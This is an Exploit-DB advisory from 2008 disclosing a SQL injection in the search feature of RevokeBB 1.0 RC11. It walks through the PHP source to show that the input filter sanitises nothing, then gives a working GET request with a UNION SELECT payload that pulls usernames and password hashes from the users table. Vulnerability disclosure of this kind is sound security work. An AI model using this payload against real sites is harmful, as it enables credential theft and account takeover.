RevokeBB 1.0 RC11 - 'Search' SQL Injection

EDB-ID:

5677


Platform:

PHP

Published:

2008-05-27

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#  	           		         RevokeBB 1.0 RC11                                        #
#                                    Sql Injection Vulnerability                                  #
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# Server Configuration Requirements  #           # Some Information                   #           #
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#                   			         #  Vendor:   sourceforge.net/projects/revokebb/  #
#                                                #  Author:   The:Paradox                         #
#		   Nothing!			 #  Severity: Critical		                  #
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# Proof Of Concept / Bug Explanation #                                                            #
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# RevokeBB presents a critical vulnerability in the "Search System". Let's see sources:  	  #
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[./inc/acts/search.module.php]

85.  $search_string = $this->var_filtrer->String('search');	

141. $search->fast_thread_search($search_string, $start, 15);										  

[./inc/class_search.php]

83.	function fast_thread_search($string, $start, $stop)
84.		{
85.		if($start > '0')
86.			$str = ($start - 1)*$stop;
87.		else
88.			$str = 0;
89.		
90.			//$string = $this->prepare_sstring($string);
91.			
92.			
93.			$query = $this->db->execQuery($this->prepare_query('revokebb_posts.text', $string, 0, array($str, $stop) ));

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# Ok, we have a sql query with $search_string. Seems it has been cleaned by var_filtrer(),        # 
# but don't trust function names =D. Let's have a look?                                           #
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[./inc/class_var_filtrer]

41.	function var_filtrer()
42.	{
43.		//$this->add($var);
44.	
45.	}

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# What? An empty function??? This function does really nothing :D ... But that's not all.	  # 
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[./inc/class_var_filtrer]

74.	function String($name, $let_html=1)
75.	{
76.		if(!isset($this->variable[$name]))
77.			return '';
78.		
79.		$this->variable[$name]=stripslashes(trim($this->variable[$name]));
80.		
81.		if($let_html!=1)
82.			$this->variable[$name]=strip_tags($this->variable[$name]);
83.		
84.		/*$this->variable[$name]=htmlspecialchars($this->variable[$name], ENT_QUOTES);*/
85.		
86.		$this->variable[$name]=htmlentities($this->variable[$name]);
87.
88.      $this->variable[$name] = preg_replace("/\\\(?!&#|\?#)/", "&#092;", $this->variable[$name]);
89.
90.      return trim($this->variable[$name]);
91.	}

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# See, $name is stripslashed :D That's all, Sql injection vulnerability Magic Quotes Indipendent. #
# Let's have a try.  										  #  
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GET http://localhost/RevokeBB/?search=%25%27pwnz00red

Fatal error: database::query() Could not execute: You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use 
near 'pwnz00red%' GROUP BY revokebb_threads.thread_id LIMIT 0,15' at line 7

GET http://localhost/RevokeBB/?search=|The:Paradox|%25%27/**/union/**/select/**/1,2,3,4,5,6,concat(user_nick,0x3a,user_password),8,9,10,11,12,13,14,15,16,17,18/**/from/**/revokebb_users/**/where/**/user_id=1/*

Title  	Author  				Replies  	Visits  	Last post
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